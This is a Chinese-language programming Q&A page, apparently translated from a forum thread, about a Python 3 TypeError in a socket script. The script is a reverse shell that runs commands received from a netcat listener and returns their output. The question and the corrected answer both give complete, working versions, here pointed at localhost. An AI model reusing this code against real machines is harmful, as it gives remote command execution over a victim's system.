2013-04-14 104 views
0

我的shell腳本:Python的shell腳本錯誤與POPEN

#!/usr/bin/python 

import subprocess, socket 

HOST = 'localhost' 
PORT = 4444 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((HOST, PORT)) 


while 1: 
    data = s.recv(1024) 
    if data == "quit": break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,  stderr=subprocess.PIPE, stdin=subprocess.PIPE) 


    stdoutput = proc.stdout.read() + proc.stderr.read() 

    s.send(stdoutput) 


s.close() 

我使用netcat來偵聽端口4444。所以我來說netcat,它是聽。然後我運行此腳本,但如果我在netcatipconfig或東西,我在外殼得到這個錯誤:

Traceback (most recent call last): 
    File "C:\Users\Myname\Documents\shell.py", line 16, in <module> 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    File "C:\Python33\lib\subprocess.py", line 818, in __init__ 
    restore_signals, start_new_session) 
    File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child 
    args = list2cmdline(args) 
    File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline 
    needquote = (" " in arg) or ("\t" in arg) or not arg 
TypeError: argument of type 'int' is not iterable 
+0

['socket.recv()'](http://docs.python.org/3.3/library/socket.html#socket.socket.recv)返回一個['bytes'](HTTP: //docs.python.org/3.1/library/functions.html#bytes)對象。也許它不是一個字符串類型? 'data = str(s.recv(1024))'工作嗎? (我從來沒有使用'bytes'對象......) – alcedine

+0

我測試了你的代碼,我沒有收到任何錯誤消息。也許試着改變端口號(4444是註冊端口),然後寫出實際的IP而不是'localhost'(用Python 2.7.3在Xubuntu和Windows 8上測試) – ton1c

回答

1

您的代碼可以完美兼容的Python 2.7。但它會導致Python3顯示的錯誤。因爲在Python 2.X中,data = s.recv(1024)的返回值是一個字符串,而在Python 3.X中它是字節。您應該對其進行解碼與subprocess.Popen()之前執行它,如下:

#!/usr/bin/python 

import subprocess, socket 

HOST = 'localhost' 
PORT = 4444 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 

while True: 
    data = s.recv(1024).decode() 
    if data == "quit\n": break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,  stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    stdoutput = proc.stdout.read() + proc.stderr.read() 
    s.send(stdoutput) 

s.close() 

在解碼時的字節數,這取決於編碼集,如果不是ASCII。

兩個建議:

  1. 在無限循環,我們最好使用而真實,而不是1時,以增強可讀性。

  2. 如果您使用netcat發送命令,則收到的字符串將以「\ n」結尾。所以數據==「退出」將永遠是錯誤的。